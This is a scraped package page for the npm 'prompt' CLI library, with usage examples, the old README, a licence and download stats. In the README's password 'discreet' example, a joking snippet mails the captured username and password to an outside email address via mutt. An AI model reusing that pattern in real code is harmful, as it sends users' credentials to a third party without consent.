Security News
ESLint is Now Language-Agnostic: Linting JSON, Markdown, and Beyond
ESLint has added JSON and Markdown linting support with new officially-supported plugins, expanding its versatility beyond JavaScript.
The 'prompt' npm package is a powerful tool for creating command-line interfaces (CLI) that can interact with users by asking questions and receiving input. It supports various types of prompts, validation, and asynchronous operations.
Basic Prompt
This feature allows you to prompt the user for basic input. The example code asks for a username and email, then logs the input to the console.
const prompt = require('prompt');
prompt.start();
prompt.get(['username', 'email'], function (err, result) {
if (err) { return onErr(err); }
console.log('Command-line input received:');
console.log(' Username: ' + result.username);
console.log(' Email: ' + result.email);
});
function onErr(err) {
console.log(err);
return 1;
}
Validation
This feature allows you to validate user input based on a schema. The example code ensures that the age input is a number.
const prompt = require('prompt');
prompt.start();
const schema = {
properties: {
age: {
pattern: /^[0-9]+$/,
message: 'Age must be a number',
required: true
}
}
};
prompt.get(schema, function (err, result) {
if (err) { return onErr(err); }
console.log('Command-line input received:');
console.log(' Age: ' + result.age);
});
function onErr(err) {
console.log(err);
return 1;
}
Asynchronous Prompts
This feature allows you to handle prompts asynchronously using async/await. The example code prompts for a username and email, then logs the input.
const prompt = require('prompt');
prompt.start();
async function getUserInput() {
try {
const result = await prompt.get(['username', 'email']);
console.log('Command-line input received:');
console.log(' Username: ' + result.username);
console.log(' Email: ' + result.email);
} catch (err) {
console.error(err);
}
}
getUserInput();
Inquirer.js is a collection of common interactive command-line user interfaces. It provides a more extensive set of features compared to 'prompt', including support for different types of prompts (e.g., list, checkbox), better handling of nested prompts, and more customization options.
Readline-sync is a synchronous library for reading user input from the command line. Unlike 'prompt', it does not support asynchronous operations but is simpler to use for straightforward input tasks.
Enquirer is a stylish, user-friendly library for creating interactive CLI prompts. It offers a rich set of features similar to 'inquirer' but focuses more on customization and aesthetics.
A way to request information from the user while a node.js script is running, on the command line, without invoking a REPL. Many languages have something very simple for this sort of thing built-in--for instance, you may have something like this in an early BASIC-ish program:
r = input( 'Give me a radius: ' );
print( 'Your area is '+ pi*r**2 + '!');
To my surprise, node.js didn't have anything quite like this, though it had the tools (process.openStdin) to make something like it. So, with a lot of help, I did.
npm install prompt
There are two ways you can use this module:
The way most inspired by BASIC, etc. is only different in that it uses callbacks instead of synchronous assignment:
var Prompt = require('prompt');
Prompt('Give me a radius: ', function(r) {
console.log('Your area is '+ pi*r*r + '!');
});
As you can see, this mirrors the BASIC style pretty well.
If, however, you want to ask more than one question and would like to avoid nested callbacks, this module also supports method chaining! For example:
var Prompt = require('./prompt');
Prompt()
.ask('What is your name?', 'name')
.tap(function (vars) {
console.log('You said: ' + vars.name);
})
.ask('What is your quest?', 'quest')
.tap(function (vars) {
console.log('You said: ' + vars.quest);
})
.ask('What is your favorite color?', 'color')
.tap(function (vars) {
console.log('You said: ' + vars.color);
console.log('Okay, you may pass!');
})
.end();
This variation is much more flexible, and is the recommended way to use Prompt for anything more than a single question. In fact, the BASIC-style may go away soon depending.
Prompt also has a 'discreet' mode, which doesn't show what you type in to the screen:
var Prompt = require('prompt');
Prompt()
.ask('Username: ', 'user')
.discreet('Password: ', 'pass')
.tap(function (vars) {
spawn('mutt', ['-s', 'Some pwned guy: '+vars.user+':'+vars.pass, 'josh.holbrook@gmail.com']);
}).end();
But would I actually do that to you? No. ;)
Make a github issue and/or pull, write something (even a test that breaks Prompt) and request that I pull.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
FAQs
A beautiful command-line prompt for node.js
The npm package prompt receives a total of 438,766 weekly downloads. As such, prompt popularity was classified as popular.
We found that prompt demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 5 open source maintainers collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
ESLint has added JSON and Markdown linting support with new officially-supported plugins, expanding its versatility beyond JavaScript.
Security News
Members Hub is conducting large-scale campaigns to artificially boost Discord server metrics, undermining community trust and platform integrity.
Security News
NIST has failed to meet its self-imposed deadline of clearing the NVD's backlog by the end of the fiscal year. Meanwhile, CVE's awaiting analysis have increased by 33% since June.